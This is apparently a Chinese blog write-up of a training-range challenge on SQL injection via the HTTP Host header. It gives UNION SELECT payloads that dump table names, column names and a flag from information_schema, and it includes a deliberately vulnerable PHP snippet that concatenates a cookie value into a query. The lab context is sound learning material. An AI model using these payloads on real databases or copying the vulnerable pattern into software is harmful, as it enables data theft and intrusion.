墨者 - SQL注入漏洞测试(HTTP头注入)

  •  手动判断注入点

     

     

     

     

     

     

     

     

  • 判断字段

     

     

     

     

  • 判断表名union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())

     

     

  • 判断列名 union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='flag')

     

    image.png

  • 判断值 union select 1,2,3,(select group_concat(flag) from flag)

     


一些感想

 整个过程与普通的sql注入无异,没什么难度。真正的核心难度在与如何找到注入点,但是因为题目已经给出是Host注入了,所以也能根据这个提示找到注入点。但是我还是有个疑问:Host字段是用来记录地址的,为什么可以直接拼接构造order by 1
或者 and 1=1 这些语句?

带着这些疑问,我去寻找host字段相关的解释

Host字段的作用

通常,我们一台服务器上不止有一个web程序,很多情况下都有几个web程序,也就是说这几个web程序共用一个ip地址。当我们配置基于端口的虚拟主机,这是没有什么问题的,不同的web程序可以通过不同的端口来判断。但是,当我们配置基于域名的虚拟主机时,几个web程序共用一个ip地址(这里我们假设为192.168.1.1)和一个端口(这里我们假设为80端口)。那么,当客户端请求都发到了服务器的80端口,服务器怎么判断这条请求是发送给哪个web程序的呢?这时候,host头出现了,host头指定了应该由哪个网站或是web应用程序来处理一个传入的HTTP请求。web服务器使用该头部的值来将请求分派到指定的网站或web应用程序之上。
一般后端的获取host形式为:

<link href=http://_SERVER["HTTP_HOST"]></link>    //触发一个get请求
<form method=”POST”></form>                       //触发POST请求

 直接塞order by 或者and等字段是无法执行的才对

 唯有的解释就是他像cookie 的sql注入一样,有着相似的代码(将_cookie换成host之类的获取客户端传来的值),才存在构造sql   的可能

<?php
 $id =$_COOKIE['id'];
 $result = mysqli_query($con,"select * users where 'id' = .$id);
?>

 

 

而且网上大部分基于host注入的利用方向是缓存污染和密码重置,基于host的sql注入方式实在少见。

所以我认为这道题是为出题而出题,实战意义不大。

参考链接:https://www.jianshu.com/p/690acbf9f321

                  https://blog.csdn.net/qq_36119192/article/details/89137300

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值